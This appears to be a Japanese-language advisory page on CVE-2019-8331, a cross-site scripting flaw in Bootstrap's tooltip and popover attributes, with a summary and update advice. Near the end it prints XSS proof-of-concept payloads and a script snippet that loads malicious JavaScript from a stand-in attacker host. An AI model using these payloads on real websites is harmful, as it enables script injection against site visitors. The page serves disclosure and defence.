CVE-2019-8331

Eng

説明

CVE-2019-8331 は、Web サイトやモバイルアプリケーションの開発で広く使用されている JavaScript ライブラリ Bootstrap で発見された、クロスサイトスクリプティング (XSS) タイプのセキュリティ脆弱性です。この脆弱性は、Bootstrap が tooltip または popover 要素の data-template 属性で渡されるデータを適切にフィルタリングしていないために発生し、攻撃者が悪意のあるコードを Web ページに挿入できるようになります。

この攻撃は、攻撃者が tooltip または popover として表示されるデータを制御できる場合に発生する可能性があります。ユーザーが tooltip または popover を有効にすると、悪意のあるコードが Web ページに挿入され、ユーザーのブラウザによって実行される可能性があります。

この脆弱性は、Bootstrap バージョン 4.3.1 および 5.0.0-beta2 で修正されています。管理者は、影響を受ける Bootstrap バージョンを更新して、この脆弱性を修正する必要があります。

CVE-2019-8331 脆弱性の詳細:

• タイプ: XSS
• 深刻度: 中
• 影響: 危険なコードの挿入
• 位置: クライアント
• 解決策: Bootstrap の更新

<x data-toggle="tooltip" data-template="">XSS</x>
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>XSS</x>
<x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>XSS</x>

<script>
  var script = document.createElement("script");
  script.src = "https://attacker.com/malicious.js";
  document.body.appendChild(script);
</script>

Credit

BlackFan